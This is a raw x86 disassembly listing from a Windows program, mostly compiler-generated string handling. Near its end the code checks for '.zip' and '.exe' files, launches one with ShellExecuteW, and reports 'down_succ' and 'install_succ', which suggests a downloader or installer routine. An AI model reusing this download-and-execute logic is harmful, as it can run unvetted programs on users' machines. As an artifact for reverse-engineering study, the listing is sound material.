jl 0x4121f9
cmp eax, dword [edi]
jne 0x4121f9
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412234
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x32
mov edi, dword [0x4c11c8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41227b
cmp eax, dword [edi]
jne 0x41227b
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4122b6
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x34]
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412305
cmp eax, dword [esi]
jne 0x412305
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412340
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x33
mov edi, dword [esp + 0x50]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412385
cmp eax, dword [edi]
jne 0x412385
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4123c0
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x34
mov edi, dword [0x4c11c8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412407
cmp eax, dword [edi]
jne 0x412407
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412442
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x44]
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412491
cmp eax, dword [esi]
jne 0x412491
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4124cc
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x35
mov edi, dword [esp + 0xb0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412514
cmp eax, dword [edi]
jne 0x412514
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41254f
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x36
mov edi, dword [0x4c11c8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412596
cmp eax, dword [edi]
jne 0x412596
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4125d1
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x4c]
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov edi, esp
mov dword [esp + 0x14], esi
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412620
cmp eax, dword [esi]
jne 0x412620
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412663
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4111b8
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 4]
lea edx, [eax + eax + 2]
push edx
add ecx, 0x10
push ecx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00462f01
add esp, 0x10
add esi, 0x10
mov dword [edi], esi
mov byte [esp + 0xf4], 0x37
mov eax, dword [esp + 0x78]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x48]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x38
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x39
mov eax, dword [esp + 0xc4]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x54]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3a
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3b
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xac]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3c
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3d
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x7c]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3e
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3f
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x74]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x40
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
add esp, 8
mov dword [esp + 0x18], esp
mov esi, esp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x41
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x6c]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x42
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x43
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x50]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x44
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x45
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x64]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x46
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x47
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x5c]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x48
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x49
mov eax, dword [esp + 0xd0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa0]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4a
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4b
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa4]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4c
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4d
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x98]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4e
mov eax, dword [0x4c11c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov eax, dword [esp + 0xa4]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00413750
test eax, eax
jne 0x412f06
mov eax, dword [esp + 0x8c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
mov edx, dword [ebp + 8]
add esp, 4
add eax, 0x10
push edx
mov dword [esi], eax
call fcn.00414590
test eax, eax
jne 0x412f06
mov edi, dword [esp + 0x70]
cmp dword [edi - 0xc], eax
je 0x412f06
push 4
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
call fcn.00404ef0
mov byte [esp + 0xf0], 0x4f
mov esi, dword [esp + 0x20]
cmp dword [esi - 0xc], 0
jl 0x412c74
push str..zip
push esi
call fcn.00463740
add esp, 8
test eax, eax
je 0x412c4f
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x412d16
cmp dword [esi - 0xc], 0
jl 0x412c74
push str..exe
push esi
call fcn.00463740
add esp, 8
test eax, eax
je 0x412c74
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x412d16
mov ecx, dword [esp + 0x44]
push ecx
call fcn.004637b7
add esp, 4
push eax
mov eax, dword [esp + 0x44]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x57
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x58
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x104], 0x59
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov dword [esp + 0xec], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x104], 0x4f
call fcn.0041fc10
add esp, 0x14
jmp 0x412e80
mov edx, dword [esp + 0x50]
push edx
call fcn.004637b7
add esp, 4
push eax
mov eax, dword [esp + 0xa4]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xe0], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xf8], 0x50
mov eax, dword [esp + 0x70]
push eax
call fcn.004637b7
mov ecx, dword [esp + 0x54]
add esp, 4
push eax
push ecx
call fcn.004637b7
mov edx, dword [esp + 0xa4]
add esp, 4
push eax
push edx
call fcn.004637b7
add esp, 4
push eax
mov eax, dword [esp + 0x6c]
push eax
call fcn.004637b7
add esp, 4
push eax
mov eax, dword [esp + 0x5c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x110], 0x51
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
mov dword [esp + 0x3c], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x114], 0x52
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0x34], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x118], 0x53
lea eax, [edi - 0x10]
mov dword [esp + 0x108], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x11c], 0x54
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x108], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x120], 0x55
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0x100], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x124], 0x56
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xd0], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x124], 0x4f
call fcn.00409af0
add esp, 0x34
mov edi, dword [esp + 0x30]
mov esi, eax
mov eax, dword [edi - 0xc]
test eax, eax
je 0x412eb3
cmp esi, 1
je 0x412eb3
push eax
push edi
lea ecx, [esp + 0x80]
call fcn.00405740
push 1
push 0x4a1d50
lea ecx, [esp + 0x80]
call fcn.00405740
mov eax, dword [edi - 0xc]
test eax, eax
je 0x412edf
test esi, esi
jne 0x412edf
push eax
push edi
lea ecx, [esp + 0x98]
call fcn.00405740
push 1
push 0x4a1d50
lea ecx, [esp + 0x98]
call fcn.00405740
mov byte [esp + 0xf0], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f06
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
inc eax
cmp eax, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
jle 0x411b70
mov esi, dword [ebp + 8]
cmp dword [esi + 0x194], 0
je 0x412f89
mov eax, dword [esp + 0x34]
test eax, eax
je 0x412f89
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.YouXunBox
lea eax, [esi + 0x18c]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.00404ff0
mov eax, dword [eax]
mov edx, dword [esp + 0xe0]
add esp, 0xc
push 5
push eax
push 0
push edx
push 0x4a24b8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f89
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x7c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push eax
mov dword [esp + 0x28], eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x5a
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.selected
call fcn.00401bc0
mov ecx, dword [ebp + 8]
push ecx
mov byte [esp + 0xfc], bl
call fcn.00414da0
mov edi, dword [esp + 0x78]
push ecx
add edi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push edi
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x5b
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.down_succ
call fcn.00401bc0
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.00414da0
mov esi, dword [esp + 0x90]
push ecx
add esi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov dword [esp + 0x30], esp
push esi
call fcn.00402360
mov ecx, dword [esp + 0x34]
add eax, 0x10
mov dword [ecx], eax
mov byte [esp + 0xf8], 0x5c
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.install_succ
call fcn.00401bc0
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.00414da0
mov byte [esp + 0xf0], 0x2b
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41308c
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov byte [esp + 0xf0], 0x2a
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4130ad
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov byte [esp + 0xf0], 0x29
mov eax, dword [esp + 0x20]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4130d2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x28
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4130fd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x27
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413128
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x26
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413153
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x25
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41317e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x24
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4131a6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x23
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4131d1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x22
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4131f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x21
mov eax, dword [esp + 0xc4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413224
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x20
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41324c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1f
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413277
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1e
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41329f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1d
mov eax, dword [esp + 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4132ca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1c
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4132f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
